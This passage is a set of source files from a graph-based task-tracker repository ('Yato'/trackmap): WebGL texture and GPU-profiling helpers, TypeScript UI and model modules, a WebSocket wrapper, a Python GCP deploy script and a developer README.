{\n gl.drawArraysInstanced( params.mode, 0, params.numVertices, params.numInstances )\n }\n } else {\n if ( params.index ) {\n gl.drawElements( params.mode, params.index.num, params.index.type, 0 )\n } else {\n gl.drawArrays( params.mode, 0, params.numVertices )\n }\n }\n }\n } )\n },\n }\n}\n\nexport const draw = ( gl: GL, program: Program, geometry: Geometry ): void => {\n program.bind( () => geometry.draw() )\n}\n\nexport const copyImgToTex = ( gl: GL, image: TexImageSource, tex: WebGLTexture, format: GLenum,\n mipmaps: boolean, nearest: boolean, repeat: boolean ): void => {\n\n bind.tex2D( gl, tex, () => {\n gl.texImage2D( gl.TEXTURE_2D, 0, format, format, gl.UNSIGNED_BYTE, image )\n\n if ( !nearest ) {\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR )\n } else {\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST )\n }\n\n if ( repeat ) {\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.REPEAT )\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.REPEAT )\n } else {\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE )\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE )\n }\n\n if ( mipmaps ) {\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR_MIPMAP_LINEAR )\n gl.generateMipmap( gl.TEXTURE_2D )\n } else {\n if ( !nearest ) {\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR )\n } else {\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST )\n }\n }\n } )\n}\n\nexport const loadTexture = ( gl: GL, filename: string,\n format: GLenum = gl.RGBA, mipmaps: boolean = true,\n nearest: boolean = false, repeat: boolean = false ): WebGLTexture => {\n\n const tex = gl.createTexture()\n if ( !tex ) throw new Error()\n bind.tex2D( gl, tex, () => {\n // Dummy immage while loading real image.\n gl.texImage2D( gl.TEXTURE_2D, 0, gl.RGBA, 1, 1, 0, gl.RGBA, gl.UNSIGNED_BYTE,\n new Uint8Array(4) )\n } )\n\n const image = new Image()\n image.onload = () => copyImgToTex( gl, image, tex, format, mipmaps, nearest, repeat )\n image.src = filename\n return tex\n}\n\nexport const loadTextureArray = ( gl: GL, filenames: string[], w: number, h: number,\n internalFormat: GLenum, format: GLenum, type: GLenum ): WebGLTexture => {\n\n const tex = gl.createTexture()\n if ( !tex ) throw new Error()\n bind.tex2DArray( gl, tex, () => {\n const d = filenames.length\n gl.texStorage3D( gl.TEXTURE_2D_ARRAY, 1, internalFormat, w, h, d )\n gl.texParameteri( gl.TEXTURE_2D_ARRAY, gl.TEXTURE_MIN_FILTER, gl.NEAREST )\n gl.texParameteri( gl.TEXTURE_2D_ARRAY, gl.TEXTURE_MAG_FILTER, gl.NEAREST )\n gl.texParameteri( gl.TEXTURE_2D_ARRAY, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE )\n gl.texParameteri( gl.TEXTURE_2D_ARRAY, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE )\n } )\n\n filenames.forEach( ( filename, i ) => {\n const image = new Image()\n image.onload = () => {\n bind.tex2DArray( gl, tex, () => {\n gl.texSubImage3D( gl.TEXTURE_2D_ARRAY, 0, 0, 0, i, w, h, 1, format, type, image )\n } )\n }\n image.src = filename\n } )\n\n return tex\n}\n\nexport type FormatInfo = { elemType: GLenum, format: GLenum,\n readFormat: GLenum, sizedFormat: GLenum }\n\nexport const getFormatInfo = ( gl: GL, e: Vec.ElemType, n: Vec.Arity ) => {\n\n const [ formatSuf, sizedFormatSuf, elemType ] = ( (): [ string, string, GLenum ] => {\n switch ( e ) {\n case 'Uint8': return [ '_INTEGER', '8UI', gl.UNSIGNED_BYTE ]\n case 'Uint16': return [ '_INTEGER', '16UI', gl.UNSIGNED_SHORT ]\n case 'Uint32': return [ '_INTEGER', '32UI', gl.UNSIGNED_INT ]\n case 'Int8': return [ '_INTEGER', '8I', gl.BYTE ]\n case 'Int16': return [ '_INTEGER', '16I', gl.SHORT ]\n case 'Int32': return [ '_INTEGER', '32I', gl.INT ]\n case 'Float32': return [ '', '32F', gl.FLOAT ]\n }\n } )()\n const [ formatPre, sizedFormatPre ] = ( (): [ string, string ] => {\n switch ( n ) {\n case 1: return [ 'RED', 'R' ]\n case 2: return [ 'RG', 'RG' ]\n case 3: return [ 'RGB', 'RGB' ]\n case 4: return [ 'RGBA', 'RGBA' ]\n }\n } )()\n return {\n elemType: elemType,\n format: <GLenum> gl[ <keyof GL> ( formatPre + formatSuf ) ],\n readFormat: <GLenum> gl[ <keyof GL> ( 'RGBA' + formatSuf ) ],\n sizedFormat: <GLenum> gl[ <keyof GL> ( sizedFormatPre + sizedFormatSuf ) ],\n }\n}\n\nexport type DataTexture<E extends Vec.ElemType, N extends Vec.Arity> = {\n id: WebGLTexture,\n copyFromFramebuffer: ( texUnit: GLenum ) => void,\n alloc: ( length: number, cb: ( buf: Vec.Array<E, N> ) => void ) => { x: number, y: number },\n}\n\nexport const createDataTex = <E extends Vec.ElemType, N extends Vec.Arity>\n ( gl: GL, e: E, n: N, stride: number ): DataTexture<E, N> => {\n\n const tex = gl.createTexture()\n if ( !tex ) throw new Error()\n\n bind.tex2D( gl, tex, () => {\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST )\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST )\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE )\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE )\n } )\n\n const info = getFormatInfo( gl, e, n )\n let dims = { x: 0, y: 0 }\n\n return {\n id: tex,\n\n copyFromFramebuffer: ( texUnit: number ) => {\n bind.texUnit( gl, gl.TEXTURE0 + texUnit, () => {\n gl.bindTexture( gl.TEXTURE_2D, tex )\n gl.copyTexSubImage2D( gl.TEXTURE_2D, 0, 0, 0, 0, 0, dims.x, dims.y )\n } )\n },\n\n alloc: ( length, cb ) => {\n const width = Math.max( 1, Math.min( length, stride ) )\n const height = Math.max( 1, Math.ceil( length / width ) )\n\n const buf = Vec.allocArray( e, n, width * height )\n cb( buf )\n\n bind.tex2D( gl, tex, () => {\n gl.texImage2D( gl.TEXTURE_2D, 0, info.sizedFormat, width, height, 0,\n info.format, info.elemType, buf.array )\n } )\n\n dims = { x: width, y: height }\n return dims\n },\n }\n}\n\nexport const createPingPongTex = <E extends Vec.ElemType, N extends Vec.Arity>( p: {\n gl: GL,\n type: E,\n arity: N,\n stride: number,\n texBindOffset: number,\n activeIdx: number,\n} ):\n { tex: DataTexture<E, N>, fbo: WebGLFramebuffer }[] => {\n const list:{ tex: DataTexture<E, N>, fbo: WebGLFramebuffer }[] = []\n for ( let i = 0; i < 2; ++i ) {\n const tex = createDataTex( p.gl, p.type, p.arity, p.stride )\n const fbo = p.gl.createFramebuffer()\n if ( !fbo ) throw new Error()\n list.push( { tex: tex, fbo: fbo } )\n }\n // Set initial ping-pong read texture.\n bind.texUnit( p.gl, p.gl.TEXTURE0 + p.texBindOffset, () => {\n p.gl.bindTexture( p.gl.TEXTURE_2D, list[ p.activeIdx ].tex.id )\n } )\n return list\n}\n\nexport type AsyncReader<E extends Vec.ElemType, N extends Vec.Arity> = {\n info: FormatInfo,\n cancelPending: () => void,\n enqueue: (x: number, y: number, w: number, h: number,\n cb: ( buf: Vec.Array<E, 4> ) => void ) => void\n slowAndSynchronous: (x: number, y: number, w: number, h: number ) => Vec.Array<E, N>,\n}\n\nexport const asyncPixelReader = <E extends Vec.ElemType, N extends Vec.Arity>\n ( gl: GL, e: E, n: N ): AsyncReader<E, N> => {\n\n const info = getFormatInfo( gl, e, n )\n const bufPool: WebGLBuffer[] = []\n\n let validTime = Date.now()\n\n return {\n info: info,\n\n cancelPending: () => {\n validTime = Date.now()\n },\n\n enqueue: ( x, y, w, h, cb ) => {\n const readTime = Date.now()\n const length = w * h\n\n const dest = Vec.allocArray( e, 4, length )\n const bytes = dest.array.BYTES_PER_ELEMENT * dest.array.length\n\n const buf = bufPool.length > 0 ? bufPool.pop() : gl.createBuffer()\n if ( !buf ) throw new Error()\n\n gl.bindBuffer( gl.PIXEL_PACK_BUFFER, buf )\n gl.bufferData( gl.PIXEL_PACK_BUFFER, bytes, gl.STREAM_READ )\n gl.readPixels( x, y, w, h, info.readFormat, info.elemType, 0 )\n gl.bindBuffer( gl.PIXEL_PACK_BUFFER, null )\n\n const sync = gl.fenceSync( gl.SYNC_GPU_COMMANDS_COMPLETE, 0 )\n if ( !sync ) throw new Error()\n\n loop.timeout( 10 )( () => {\n const res = gl.clientWaitSync( sync, 0, 0 )\n const done = res == gl.ALREADY_SIGNALED || res == gl.CONDITION_SATISFIED\n\n if ( done ) {\n if ( readTime > validTime ) {\n\n gl.bindBuffer( gl.PIXEL_PACK_BUFFER, buf )\n gl.getBufferSubData( gl.PIXEL_PACK_BUFFER, 0, dest.array )\n gl.bindBuffer( gl.PIXEL_PACK_BUFFER, null )\n\n cb( dest )\n }\n\n gl.deleteSync( sync )\n bufPool.push( buf )\n }\n\n return !done\n } )\n },\n\n slowAndSynchronous: ( x, y, w, h ) => {\n const dest = Vec.allocArray( e, n, w * h )\n gl.readPixels( x, y, w, h, info.readFormat, info.elemType, dest.array, 0 )\n return dest\n },\n }\n}\n\ntype ProfCfg = { profiling: boolean }\n\nexport type Profiler = {\n time: <T extends any[], R>( s: string, f: ( ...args: T ) => R, ...args: T ) => R,\n}\n\nexport const profiler = ( gl: GL, interval: number, stats: Stats.Api, cfg: ProfCfg ): Profiler => {\n\n const extName = 'EXT_disjoint_timer_query_webgl2'\n const ext = gl.getExtension( extName )\n if ( !ext ) console.log( 'info: ' + extName + ' not available')\n\n const queryPool: WebGLQuery[] = []\n let pending: [ string, WebGLQuery ][] = []\n\n const checker = loop.asynch( {\n\n iterLoop: loop.timeout( interval ),\n iterBody: () => {\n if ( !cfg.profiling && !pending.length ) return\n const disjoint = gl.getParameter( ext.GPU_DISJOINT_EXT )\n\n pending = pending.filter( ( [ name, query ] ) => {\n const available = gl.getQueryParameter( query, gl.QUERY_RESULT_AVAILABLE )\n if ( available && !disjoint ) {\n const timeElapsed = gl.getQueryParameter( query, gl.QUERY_RESULT ) / 1e6\n stats.update( name, timeElapsed )\n }\n const discard = available || disjoint\n if ( discard ) queryPool.push( query )\n return !discard\n } )\n },\n\n checkInterval: 0,\n continueIf: () => { return cfg.profiling || pending.length > 0 },\n } )\n\n return {\n time: ( name, f, ...args ) => {\n if ( ext && cfg.profiling ) {\n checker.restart()\n const query = queryPool.length > 0 ? queryPool.pop() : gl.createQuery()\n if ( !query ) throw new Error()\n pending.push( [ name, query ] )\n gl.beginQuery( ext.TIME_ELAPSED_EXT, query )\n }\n const res = f( ...args )\n if ( ext && cfg.profiling ) {\n gl.endQuery( ext.TIME_ELAPSED_EXT )\n }\n return res\n },\n }\n}\n\nexport const hexToRGB = ( hex: string ): number[] => {\n const bigint = parseInt( hex.substr( 1 ), 16 )\n const r = ( bigint >> 16 ) & 255\n const g = ( bigint >> 8 ) & 255\n const b = bigint & 255\n return [ r / 255.0, g / 255.0, b / 255.0 ]\n}\n\n/* Portions of this file were derived from:\n * https://github.com/astiopin/webgl_fonts/blob/master/src/glutils\n *\n * Copyright (c) 2017 Anton Stepin [email protected]\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\n" }, { "alpha_fraction": 0.5077519416809082, "alphanum_fraction": 0.565891444683075, "avg_line_length": 17.5, "blob_id": "73ee72090eb2e953287b585401a1345cce38d316", "content_id": "5b39c9f694329dc365a9c1305587314c6744ceb1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 258, "license_type": "permissive", "max_line_length": 35, "num_lines": 14, "path": "/client/src/view/gpu/common/constants.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "export const DATA_TEX_STRIDE = 4096\n\nexport const TEX_BINDINGS = {\n NODE_POS_VEL: 0,\n NODE_ATTR: 1,\n NODE_ATTR2: 2,\n EDGE_ENDS: 3,\n EDGE_ATTR: 4,\n NODE_FORCES: 5,\n OREO: 6,\n FONT_ATLAS: 7,\n NODE_STATE: 8,\n HISTORY_TEMP: 9,\n}" }, { "alpha_fraction": 0.6160642504692078, "alphanum_fraction": 0.6240963935852051, "avg_line_length": 27.295454025268555, "blob_id": "dca0b9395030c6f69d955afaf84b80de60b4f6be", "content_id": "a6a0dcfb5f2509f03cf9417b774a94b45d9b9a21", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1245, "license_type": "permissive", "max_line_length": 83, "num_lines": 44, "path": "/client/src/view/banner.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as Inspire from './inspire.js'\n\nexport type Api = {\n inspire: ( label: string ) => void,\n boring: ( x: number, y: number ) => void\n}\n\nexport const init = (): Api => {\n const marquee = <HTMLElement> document.getElementById( \"inspirational-marquee\" )\n const marqueeText = <HTMLElement> document.getElementById( \"inspirational-text\" )\n\n let marqueePending: string | undefined\n const marqueeQueue: string[] = []\n\n const enque = () => {\n marqueePending = marqueeQueue.shift()\n if ( marqueePending ) {\n marqueeText.innerText = marqueePending\n\n marqueeText.style.animation = 'none'\n void marqueeText.offsetHeight /* trigger reflow */\n marqueeText.style.animation = <string><unknown>null\n }\n }\n marquee.onanimationend = enque\n\n const boring = <HTMLImageElement> document.getElementById( \"boring\" )\n\n return { \n inspire: ( label ) => {\n marqueeQueue.push( Inspire.gen( label ) )\n if ( !marqueePending ) enque()\n },\n boring: ( x, y ) => {\n boring.style.position = 'fixed'\n boring.style.left = (x-120)+'px'\n boring.style.top = (y-170)+'px'\n boring.style.display = 'inline'\n setTimeout( () => {\n boring.style.display = 'none'\n }, 1000 )\n }\n }\n}\n" }, { "alpha_fraction": 0.6832412481307983, "alphanum_fraction": 0.7071823477745056, "avg_line_length": 37.78571319580078, "blob_id": "4e2a2d16a009741b8a1340c67458a34fd48406e5", "content_id": "2ea9d4912ce0078b569906c0ac8b5e655dcf2a8e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 543, "license_type": "permissive", "max_line_length": 84, "num_lines": 14, "path": "/client/src/model/schedule.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as G from '../../output/Yato.Common.Graph'\n\nexport type DaySlot = { day: number, slot: number }\nexport type ScheduleItem = { nodeId: G.NodeId, item: G.ScheduleItem, title: string }\nexport type WeekTable = ( ScheduleItem | null )[][]\n\nexport const DAYS_PER_WEEK = 7\nexport const MINS_PER_DAY = 24 * 60\nexport const MS_PER_MIN = 60 * 1000\nexport const MS_PER_DAY = MINS_PER_DAY * MS_PER_MIN\n\nexport const MINS_PER_SLOT = 30\nexport const MS_PER_SLOT = MINS_PER_SLOT * MS_PER_MIN\nexport const SLOTS_PER_DAY = MINS_PER_DAY / MINS_PER_SLOT\n" }, { "alpha_fraction": 0.6479524374008179, "alphanum_fraction": 0.6525759696960449, "avg_line_length": 37.82051467895508, "blob_id": "c69b7ecac43268b22fbf2556788b096a309b797f", "content_id": "d0c1db4f42d4e3e5c73cfd9fe47211fb2e73ea52", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1514, "license_type": "permissive", "max_line_length": 109, "num_lines": 39, "path": "/cmd/deploy.py", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import subprocess as sp\nfrom . import util\n\ncmd_name = 'deploy'\ndef cmd_args(parser):\n parser.description = \"Deploy the server to a GCP instance.\"\n parser.add_argument('-domain', default='bugs.yato.dev',\n help='domain to deploy to with configuration stored in .cred/gcp-<domain>.json')\n parser.epilog = \"Unknown arguments are passed to the server.\"\n\ndef run(args, xargs):\n # load GCP instance configuration based on domain and authenticate with GCP\n gcp = util.init_gcp(args.domain)\n\n # authenticate with docker\n sp.run(['docker', 'login'], check=True)\n\n # build and unit-test project code\n sp.run(['python3.8', 'build.py'], cwd='common', check=True)\n sp.run(['python3.8', 'build.py'], cwd='client', check=True)\n sp.run(['python3.8', 'build.py'], cwd='server', check=True)\n\n # build and push deployed server image\n img = gcp.cfg['image'] + ':' + args.domain\n benv = util.make_env(DOCKER_BUILDKIT='1')\n sp.run(['docker', 'build', '-t', img, '-f', 'cmd/deploy.dockerfile', '.'],\n env=benv, check=True)\n sp.run(['docker', 'push', img], check=True)\n\n # create directories\n gcp.ssh('mkdir -p yato/.cred')\n\n # copy scripts and keys to instance\n gcp.scp(['cmd/instance-scripts/docker-compose.yml', 'cmd/instance-scripts/run-server.sh'], '~/yato')\n gcp.scp(['.cred/aws.env'], '~/yato/.cred')\n\n # execute run server script\n run_env = 'DOMAIN=' + args.domain + ' EMAIL=' + gcp.cfg['email'] + ' SERVER_ARGS=\"' + ' '.join(xargs) + '\"'\n gcp.ssh('cd yato && ' + run_env + ' ./run-server.sh')\n" }, { "alpha_fraction": 0.5790340304374695, "alphanum_fraction": 0.5883644223213196, "avg_line_length": 25.02857208251953, "blob_id": "ac5145b9f3fc85248fe6bdf466d71e13d8e8525a", "content_id": "90e05cec83c4d492aea54db4dd4ddc8fdc3f3d51", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1822, "license_type": "permissive", "max_line_length": 120, "num_lines": 70, "path": "/client/src/view/textUtil.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import type { Node } from './graphView.js'\nimport * as ViewApi from './api.js'\n\nexport type GlyphMetrics = {\n advance: number,\n off: [ number, number ],\n dim: [ number, number ],\n uvw: [ number, number, number ],\n}\nexport type FontMetricsSized = {\n ymin: number,\n ymax: number,\n space: number,\n chars: { [key: string]: GlyphMetrics },\n kerns: { [key: string]: number },\n}\nexport type FontMetrics = {\n minSize: number,\n maxSize: number,\n [key: number]: FontMetricsSized,\n}\n\nexport type StringMetrics = {\n width: number,\n height: number,\n glyphs: { xpos: number, info: GlyphMetrics }[],\n}\n\nexport const stringMetrics = ( fontMetrics: FontMetricsSized, text: string ): StringMetrics => {\n\n const height = fontMetrics.ymax - fontMetrics.ymin + 1\n const res: StringMetrics = { width: height, height: height, glyphs: [] }\n let xpos = 0\n\n for ( let i = 0; i < text.length; ++i ) {\n if ( i > 0 ) {\n const kern = fontMetrics.kerns[ text.slice( i - 1, i + 1 ) ]\n if ( kern ) {\n xpos += kern\n }\n const ch = text[ i - 1 ]\n if ( ch == ' ' ) {\n xpos += fontMetrics.space\n } else {\n const info = fontMetrics.chars[ text[ i - 1 ] ]\n xpos += info.advance\n }\n }\n const ch = text[ i ]\n const info = fontMetrics.chars[ ch ]\n if ( ch != ' ' && info !== undefined ) {\n res.glyphs.push( { xpos: xpos, info: info } )\n res.width = Math.max( res.width, xpos + info.off[ 0 ] + info.dim[ 0 ] )\n }\n }\n\n return res\n}\n\nexport const fontSizeForZoom = ( font: FontMetrics, size: Node[ \"size\" ], zoom: ViewApi.Power ): number | undefined => {\n\n const pow = size.pow + zoom.pow - 18\n const fontSize = Math.min( font.maxSize, Math.round( 8 * Math.pow( 1.125, pow ) ) )\n\n if ( font[ fontSize ] ) {\n return fontSize\n }\n\n return undefined\n}\n" }, { "alpha_fraction": 0.4899425208568573, "alphanum_fraction": 0.4906609058380127, "avg_line_length": 18.85714340209961, "blob_id": "2046eecd6db78c1635778fc2738f66b6e9597041", "content_id": "65362ef9a4cf378219d6c3fad5015a9441d5bc53", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1392, "license_type": "permissive", "max_line_length": 56, "num_lines": 70, "path": "/client/src/util/loop.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "\nexport const timeout = ( interval: number ) => {\n return ( f: () => boolean ): void => {\n function frec() {\n try {\n if ( f() ) setTimeout( frec, interval )\n } catch ( e ) {\n console.trace( e )\n alert( e )\n }\n }\n setTimeout( frec, 0 )\n }\n}\n\nexport const animation = ( f: () => boolean ): void => {\n function frec() {\n try {\n if ( f() ) requestAnimationFrame( frec )\n } catch ( e ) {\n console.trace( e )\n alert( e )\n }\n }\n requestAnimationFrame( frec )\n}\n\nexport type AsyncParams = {\n iterLoop: ( f: () => boolean ) => void,\n iterBody: () => void,\n checkInterval: number,\n continueIf: () => boolean,\n}\n\nexport type AsyncApi = {\n restart: () => void,\n enabled: () => boolean,\n stop: () => void,\n}\n\nexport const asynch = ( p: AsyncParams ): AsyncApi => {\n\n let enabled = false\n\n const api: AsyncApi = {\n restart: () => {\n if ( enabled ) return\n enabled = true\n\n let lastCheck = Date.now()\n\n p.iterLoop( () => {\n if ( enabled ) {\n p.iterBody()\n const now = Date.now()\n if ( now - lastCheck >= p.checkInterval ) {\n lastCheck = now\n enabled = p.continueIf()\n }\n }\n return enabled\n } )\n },\n enabled: () => { return enabled },\n stop: () => { enabled = false }\n }\n\n api.restart()\n\n return api\n}\n\n" }, { "alpha_fraction": 0.49228131771087646, "alphanum_fraction": 0.49228131771087646, "avg_line_length": 22.31999969482422, "blob_id": "5cc4af67d3994b6b063645440f9ba187a9dda3f1", "content_id": "96ffe9850141c8d0914759cb65cc4e2c9869ae91", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 583, "license_type": "permissive", "max_line_length": 71, "num_lines": 25, "path": "/server/src/Util/Socket.js", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "\"use strict\"\nvar ws = require('ws')\n\nexports.upgrader = (path) => () => {\n var server = new ws.Server( { noServer: true, path: path } )\n return (req) => (sock) => (head) => (cb) => () => {\n server.handleUpgrade( req, sock, head, ( wsock ) => cb( wsock )() )\n }\n}\n\nexports.close = (wsock) => () => {\n wsock.close()\n}\n\nexports._send = (wsock) => (buf) => () => {\n wsock.send( buf )\n}\n\nexports._onMessage = (wsock) => (cb) => () => {\n wsock.on( 'message', (buf) => cb( buf.toString() )() )\n}\n\nexports._on = (name) => (wsock) => (cb) => () => {\n wsock.on( name, () => cb() )\n}\n" }, { "alpha_fraction": 0.6143128275871277, "alphanum_fraction": 0.6238125562667847, "avg_line_length": 29.960784912109375, "blob_id": "2982a36058dc2b0af3eb67f52ce71e7b83aa3ab6", "content_id": "44c2838a98d86803c6efdec4294923786a94df8e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 3158, "license_type": "permissive", "max_line_length": 86, "num_lines": 102, "path": "/client/src/view/api.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as glm from 'gl-matrix'\nimport * as G from '../../output/Yato.Common.Graph'\nimport * as GView from './graphView.js'\nimport * as Text from './textUtil.js'\nimport type { Theme } from './theme.js'\n\nexport type Power = {pow: number}\n\nexport type Mode =\n | { id: 'none' }\n | { id: 'panView' }\n | { id: 'scheduleOverlay' }\n | { id: 'dragNode', nodeId: G.NodeId, delta: glm.vec2,\n reparent?: { nodeId?: G.NodeId, commit: boolean } }\n | { id: 'hoverNode', nodeId: G.NodeId }\n | { id: 'hoverEdge', fromId: G.NodeId, toId: G.NodeId }\n | { id: 'addEdge', fromId: G.NodeId, toId?: G.NodeId }\n | { id: 'selectNode', nodeId: G.NodeId }\n | { id: 'infoCard', nodeId: G.NodeId }\n | { id: 'menuWheelNode', nodeId: G.NodeId }\n | { id: 'menuWheelEdge', fromId: G.NodeId, toId: G.NodeId }\n\nexport type State = {\n camera: {\n pan: glm.vec2,\n zoom: Power,\n },\n pointerViewPos: glm.vec2,\n mode: Mode,\n}\n\nexport const initState = (): State => ({\n camera: {\n pan: glm.vec2.fromValues( 0, 0 ),\n zoom: {pow: 20},\n },\n pointerViewPos: glm.vec2.fromValues( Infinity, Infinity ),\n mode: { id: 'none' },\n})\n\nexport const zoomScale = ( x: Power ): number => {\n return Math.pow( 1.125, x.pow )\n}\n\nexport const viewToWorld = ( st: State, viewPos: glm.vec2 ): glm.vec2 => {\n const res = glm.vec2.clone( viewPos )\n glm.vec2.scale( res, res, 1 / zoomScale( st.camera.zoom ) )\n glm.vec2.subtract( res, res, st.camera.pan )\n return res\n}\n\nexport const worldToView = ( st: State, worldPos: glm.vec2 ): glm.vec2 => {\n const res = glm.vec2.clone( worldPos )\n glm.vec2.add( res, res, st.camera.pan )\n glm.vec2.scale( res, res, zoomScale( st.camera.zoom ) )\n return res\n}\n\nexport type RenderParams = {\n canvasBase: { x: number, y: number },\n canvasSize: { x: number, y: number },\n\n zoom: Power,\n projMat: glm.mat4,\n viewMat: glm.mat4,\n\n orphanedIdx: GView.NodeIdx,\n edgeFromIdx: GView.NodeIdx,\n hoverNodeIdx: GView.NodeIdx,\n hoverEdgeIdx: GView.EdgeIdx,\n\n pointerWorldPos: glm.vec2,\n\n theme: Theme,\n nodeCount: number,\n stepCount: number,\n stepsToFull: number,\n}\n\nexport type Sim = {\n updateNodeAttr: ( gview: GView.Api ) => void,\n reset: ( graphView?: GView.Api ) => void,\n update: ( gview: GView.Api ) => void,\n step: ( orphanedIdx: GView.NodeIdx,\n dragIdx: GView.NodeIdx, dragDelta: glm.vec2 ) => void,\n currentStepCount: () => number,\n readMovement: ( graphView: GView.Api, cb: ( movement: number ) => void ) => void,\n getNodePos: ( nodeIdx: GView.NodeIdx, callback: ( pos: glm.vec2 ) => void ) => void,\n savePositions: ( nodes: GView.Node[] ) => void,\n deltaHistory: ( i: number ) => void,\n}\n\nexport type SetHover = ( nodeIdx: GView.NodeIdx, edgeIdx: GView.EdgeIdx ) => void\n\nexport type Gfx = {\n update: ( gview: GView.Api, font: Text.FontMetrics, zoom: Power ) => void,\n rescale: ( gview: GView.Api, font: Text.FontMetrics, zoom: Power ) => void,\n pick: ( p: RenderParams, pointerViewPos: glm.vec2, setHover: SetHover ) => void,\n render: ( p: RenderParams ) => void,\n explode: ( initPos: { x: number, y: number }, count: number ) => void,\n done: () => boolean,\n}\n" }, { "alpha_fraction": 0.7363490462303162, "alphanum_fraction": 0.7379550337791443, "avg_line_length": 62.3220329284668, "blob_id": "aaa3f697b97392a9fb0c699b7f5c19671a654807", "content_id": "72c1ef74debe3cd1f5e0296efc7e574dbf2d35f3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3736, "license_type": "permissive", "max_line_length": 118, "num_lines": 59, "path": "/README.md", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "# Yato: Yet Another Task Organizer\nYato is a task tracker visualizing task dependencies as graph-based maps.\nThe names \"yato\" and \"trackmap\" are used interchangeably in this repository.\n\n## User Documentation\nTODO\n\n## Developer Documentation\n\n### Quick Start\n1. Install docker (with daemon) on your host system. The following host environments have been tested:\n * Native Ubuntu (the host scripts were developed in this environment)\n * WSL2 Ubuntu with Docker Desktop\n * MacOS (with issues that require workarounds)\n2. Configure AWS credentials at the root of the project in `.cred/aws.env`.\n At least `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` must be set, but may be any non-empty strings for testing.\n3. Run the command `./cmd.sh watch` at the root of the project to start a local testing server and database.\n4. Open a browser and navigate to `localhost/initThemes`.\n5. Remove the `/initThemes` suffix to start a new random-ID graph session.\n\n### Project Layout\n* [./cmd.sh](cmd.sh) - entry-point build and deployment script\n* [./cmd/](cmd) - scripts for high-level development commands\n* [./common/](common) - code shared between client and server, including the abstract graph data structure and logic\n* [./server/](server) - code that accesses database and arbitrates multiple clients connecting to one or more graphs\n* [./client/](client) - code and data served to each client's browser to present the graph UI\n\n### Development Commands\nUse the [./cmd.sh](cmd.sh) script to perform development tasks within a dockerized environment.\nThis script automatically (re)-builds the development docker image\nand then runs [a python script](cmd/__main__.py) *within a development container* to perform high-level tasks.\nSome tasks include running docker commands that interact with the host docker daemon (e.g. docker in docker).\n\nThe primary tasks are:\n* `watch` - build the client and server, start a dockerized local testing server,\n and watch for file changes to automatically rebuild and restart components as needed.\n * This command waits for file-changes but also provides a limited interactive prompt.\n The prompt supports forcing a rebuild/restart by entering a component name\n (e.g. `server` to rebuild/restart the server) and also executing commands within a\n component's directory (e.g. `client spago install arrays`).\n * *This command assumes development configuration by default*.\n 